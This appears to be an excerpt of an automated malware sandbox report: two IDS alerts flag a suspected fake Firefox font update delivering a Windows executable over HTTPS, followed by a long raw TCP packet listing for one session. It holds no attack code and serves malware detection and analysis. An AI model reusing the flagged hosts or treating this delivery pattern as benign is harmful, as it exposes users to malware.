2025-01-06T13:56:31.882980+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49986	188.114.96.3	443	TCP
2025-01-06T13:56:32.343490+0100	2008438	ET MALWARE Possible Windows executable sent when remote host claims to send a Text File	1	188.114.96.3	443	192.168.2.5	49986	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2025 13:55:00.318196058 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:00.318228006 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:00.318310022 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:00.325794935 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:00.325809956 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:00.806643963 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:00.806771994 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:00.810518980 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:00.810527086 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:00.810766935 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:00.824270010 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:00.867330074 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.167817116 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.167891979 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.167922974 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.167963982 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.167998075 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.168026924 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.168029070 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.168044090 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.168076992 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.168087006 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.168093920 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.168126106 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.168154955 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.168458939 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.168463945 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.221554995 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.253803015 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.257886887 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.257926941 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.257975101 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.257987976 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.258109093 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.262926102 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.269105911 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.269129038 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.269155979 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.269165993 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.269220114 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.275476933 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.281510115 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.281532049 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.281553984 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.281563044 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.281610966 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.287496090 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.294555902 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.294579029 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.294631958 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.294639111 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.294707060 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.302794933 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.307718992 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.307743073 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.307764053 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.307771921 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.307807922 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.345768929 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.348488092 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.348539114 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.348546982 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.353715897 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.353744030 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.353766918 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.353790998 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.353799105 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.353833914 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.361469030 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.361521006 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.361526966 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.363931894 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.364012957 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.364020109 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.369224072 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.369271040 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.369282961 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.379287958 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.379426956 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.379439116 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.380676985 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.380743980 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.380749941 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.385215044 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.385265112 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.385271072 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.390636921 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.390693903 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.390698910 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.400978088 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.401016951 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.401050091 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.401057959 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.401087046 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.409181118 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.409244061 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.409260035 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.409337997 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.413866043 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.413921118 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.419219017 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.419275045 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.426175117 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.426232100 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.429809093 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.429872990 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.433511019 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.433566093 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.438462973 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.438510895 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.443564892 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.443628073 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.446383953 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.446440935 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.449611902 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.449661016 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.455010891 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.455059052 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.458631992 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.458682060 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.487907887 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.487942934 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.487965107 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.487973928 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.487994909 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.488291979 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.488321066 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.488341093 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.488346100 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.488357067 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.488373995 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.488388062 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.488395929 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.489212990 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.489260912 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.489351034 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.489357948 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.490196943 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.490227938 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.490247011 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.490251064 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.490258932 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.490279913 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.490298986 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.490303040 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.491031885 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.491125107 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.491131067 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.493726969 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.493753910 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.493782043 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.493788004 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.493813992 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.493841887 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.496258020 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.496310949 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.499969006 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.500019073 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.504108906 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.504167080 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.506640911 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.506696939 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.509445906 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.509499073 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.514470100 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.514528036 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.522473097 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.522555113 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.522644997 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.522701025 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.524141073 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.524195910 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.532175064 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.532210112 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.532248020 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.532254934 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.532278061 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.536411047 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.536456108 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.536462069 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.536763906 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.538921118 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.538979053 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.539994955 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.540059090 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.541644096 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.541701078 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.545612097 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.545661926 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.546611071 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.546664953 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.548451900 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.548506975 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.550895929 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.550949097 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.552386045 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.552433968 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.554069996 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.554162979 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.555633068 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.555691004 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.557427883 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.557487965 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.562740088 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.562808990 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.562944889 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.564766884 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.564824104 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.564829111 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.564918041 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.571472883 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.571535110 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.571542978 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.571590900 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.571675062 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.571680069 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.572357893 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.572417021 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.572422981 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.573704958 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.573962927 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.573967934 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.574867964 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.574939013 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.574944973 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.576508999 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.576559067 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.576566935 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.578309059 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.578356028 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.578361988 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.579323053 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.579376936 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.579381943 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.580219984 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.580329895 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.580338001 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.582051039 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.582123995 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.582133055 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.583457947 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.583518982 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.583528996 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.585062027 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.585134029 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.585139990 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.585836887 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.585891008 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.585897923 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.585943937 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.587887049 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.587940931 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.588490963 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.588543892 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.590600967 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.590657949 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.597517967 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.597553015 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.597578049 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.597588062 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.597601891 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.597625017 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.597639084 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.600100994 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.600132942 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.600156069 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.600167990 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.600239038 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.600338936 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.600390911 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.613171101 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.613204002 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.613331079 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.613347054 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.613399982 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.627188921 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.627233028 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.627268076 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.627274990 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.627286911 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.627345085 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.630609035 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.630637884 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.630681992 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.630690098 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.630718946 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.636123896 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.636192083 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.636198044 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.636310101 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.636348963 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.636378050 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.636384964 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.636394978 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.636449099 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.641577959 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.641645908 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.641649008 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.641665936 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.641694069 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.641707897 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.641716003 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.641771078 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.646337032 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.646415949 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.653295994 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.653347969 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.655414104 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.655452967 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.655464888 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.655484915 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.655491114 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.655517101 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.655544996 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.661731005 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.661770105 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.661783934 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.661789894 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.661849976 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.661950111 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.662002087 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.664376020 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.664406061 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.664447069 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.664452076 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.664510012 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.669070959 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.669125080 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.669167042 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.669215918 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.672602892 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.672656059 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.672687054 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.672739029 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:01.676537037 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:01.676578999 CET	443	49704	104.21.48.1	192.168.2.5
